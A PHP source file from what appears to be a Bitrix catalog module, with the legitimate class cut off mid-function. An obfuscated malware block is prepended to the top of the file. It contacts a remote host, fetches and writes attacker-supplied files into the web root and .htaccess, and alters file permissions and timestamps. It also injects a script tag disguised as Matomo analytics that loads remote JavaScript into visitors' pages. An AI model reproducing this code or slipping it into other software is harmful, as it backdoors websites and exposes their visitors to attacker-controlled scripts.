Your IP : 18.219.94.100
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
/** @global \CMain $APPLICATION */
use Bitrix\Main\Localization\Loc,
Bitrix\Main,
Bitrix\Currency,
Bitrix\Catalog,
Bitrix\Sale;
Loc::loadMessages(__FILE__);
class CAllCatalogProduct
{
const TYPE_PRODUCT = Catalog\ProductTable::TYPE_PRODUCT;
const TYPE_SET = Catalog\ProductTable::TYPE_SET;
const TYPE_SKU = Catalog\ProductTable::TYPE_SKU;
const TYPE_OFFER = Catalog\ProductTable::TYPE_OFFER;
const TYPE_FREE_OFFER = Catalog\ProductTable::TYPE_FREE_OFFER;
const TYPE_EMPTY_SKU = Catalog\ProductTable::TYPE_EMPTY_SKU;
const TIME_PERIOD_HOUR = Catalog\ProductTable::PAYMENT_PERIOD_HOUR;
const TIME_PERIOD_DAY = Catalog\ProductTable::PAYMENT_PERIOD_DAY;
const TIME_PERIOD_WEEK = Catalog\ProductTable::PAYMENT_PERIOD_WEEK;
const TIME_PERIOD_MONTH = Catalog\ProductTable::PAYMENT_PERIOD_MONTH;
const TIME_PERIOD_QUART = Catalog\ProductTable::PAYMENT_PERIOD_QUART;
const TIME_PERIOD_SEMIYEAR = Catalog\ProductTable::PAYMENT_PERIOD_SEMIYEAR;
const TIME_PERIOD_YEAR = Catalog\ProductTable::PAYMENT_PERIOD_YEAR;
const TIME_PERIOD_DOUBLE_YEAR = Catalog\ProductTable::PAYMENT_PERIOD_DOUBLE_YEAR;
/** @deprecated deprecated since catalog 17.6.3 */
protected static $arProductCache = array();
/** @deprecated deprecated since catalog 17.0.11 */
protected static $usedCurrency = null;
/** @deprecated deprecated since catalog 17.5.1 */
protected static $optimalPriceWithVat = true;
/** @deprecated deprecated since catalog 17.5.1 */
protected static $useDiscount = true;
protected static $saleIncluded = null;
protected static $useSaleDiscount = null;
protected static $vatCache = array();
private static $existPriceTypeDiscounts = false;
/**
* @deprecated deprecated since catalog 17.0.11
* @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
*
* @param string $currency
* @return void
*/
public static function setUsedCurrency($currency)
{
Catalog\Product\Price\Calculation::setConfig(array('CURRENCY' => $currency));
}
/**
* @deprecated deprecated since catalog 17.0.11
* @see \Bitrix\Catalog\Product\Price\Calculation::getConfig()
*
* @return null|string
*/
public static function getUsedCurrency()
{
$config = Catalog\Product\Price\Calculation::getConfig();
return $config['CURRENCY'];
}
/**
* @deprecated deprecated since catalog 17.0.11
* @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
*
* @return void
*/
public static function clearUsedCurrency()
{
Catalog\Product\Price\Calculation::setConfig(array('CURRENCY' => null));
}
/**
* @deprecated deprecated since catalog 17.5.1
* @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
*
* @param bool $mode
* @return void
*/
public static function setPriceVatIncludeMode($mode)
{
Catalog\Product\Price\Calculation::setConfig(array('RESULT_WITH_VAT' => $mode));
}
/**
* @deprecated deprecated since catalog 17.5.1
* @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
*
* @return bool
*/
public static function getPriceVatIncludeMode()
{
return Catalog\Product\Price\Calculation::isIncludingVat();
}
/**
* @deprecated deprecated since catalog 17.5.1
* @see \Bitrix\Catalog\Product\Price\Calculation::setConfig()
*
* @param bool $use
* @return void
*/
public static function setUseDiscount($use)
{
Catalog\Product\Price\Calculation::setConfig(array('USE_DISCOUNTS' => $use));
}
/**
* @deprecated deprecated since catalog 17.5.1
* @see \Bitrix\Catalog\Product\Price\Calculation::getConfig()
*
* @return bool
*/
public static function getUseDiscount()
{
return Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
}
/**
* @deprecated deprecated since catalog 17.6.3
*
* @return void
*/
public static function ClearCache()
{
self::$arProductCache = [];
self::$vatCache = [];
}
/**
* @param array $product
* @return bool
*/
public static function isAvailable($product)
{
$result = true;
if (!empty($product) && is_array($product))
{
if (isset($product['QUANTITY']) && isset($product['QUANTITY_TRACE']) && isset($product['CAN_BUY_ZERO']))
{
$result = !((float)$product['QUANTITY'] <= 0 && $product['QUANTITY_TRACE'] == 'Y' && $product['CAN_BUY_ZERO'] == 'N');
}
}
return $result;
}
/**
* @deprecated deprecated since catalog 15.5.2
* @see \Bitrix\Catalog\ProductTable::isExistProduct()
*
* @param int $intID
* @return bool
*/
public static function IsExistProduct($intID)
{
return Catalog\ProductTable::isExistProduct($intID);
}
public static function CheckFields($ACTION, &$arFields, $ID = 0)
{
global $APPLICATION;
$arMsg = array();
$boolResult = true;
$ACTION = strtoupper($ACTION);
$ID = (int)$ID;
if ($ACTION == "ADD" && (!is_set($arFields, "ID") || (int)$arFields["ID"]<=0))
{
$arMsg[] = array('id' => 'ID','text' => Loc::getMessage('KGP_EMPTY_ID'));
$boolResult = false;
}
if ($ACTION != "ADD" && $ID <= 0)
{
$arMsg[] = array('id' => 'ID','text' => Loc::getMessage('KGP_EMPTY_ID'));
$boolResult = false;
}
$clearFields = array(
'NEGATIVE_AMOUNT_TRACE',
'~NEGATIVE_AMOUNT_TRACE',
'~TYPE',
'~AVAILABLE'
);
if ($ACTION =='UPDATE')
{
$clearFields[] = 'ID';
$clearFields[] = '~ID';
}
if ($ACTION == 'ADD')
{
$clearFields[] = 'BUNDLE';
$clearFields[] = '~BUNDLE';
}
foreach ($clearFields as $fieldName)
{
if (array_key_exists($fieldName, $arFields))
unset($arFields[$fieldName]);
}
unset($fieldName, $clearFields);
if ('ADD' == $ACTION)
{
if (!array_key_exists('SUBSCRIBE', $arFields))
$arFields['SUBSCRIBE'] = '';
if (!isset($arFields['TYPE']))
$arFields['TYPE'] = Catalog\ProductTable::TYPE_PRODUCT;
$arFields['BUNDLE'] = Catalog\ProductTable::STATUS_NO;
}
if (is_set($arFields, "ID") || $ACTION=="ADD")
$arFields["ID"] = (int)$arFields["ID"];
if (is_set($arFields, "QUANTITY") || $ACTION=="ADD")
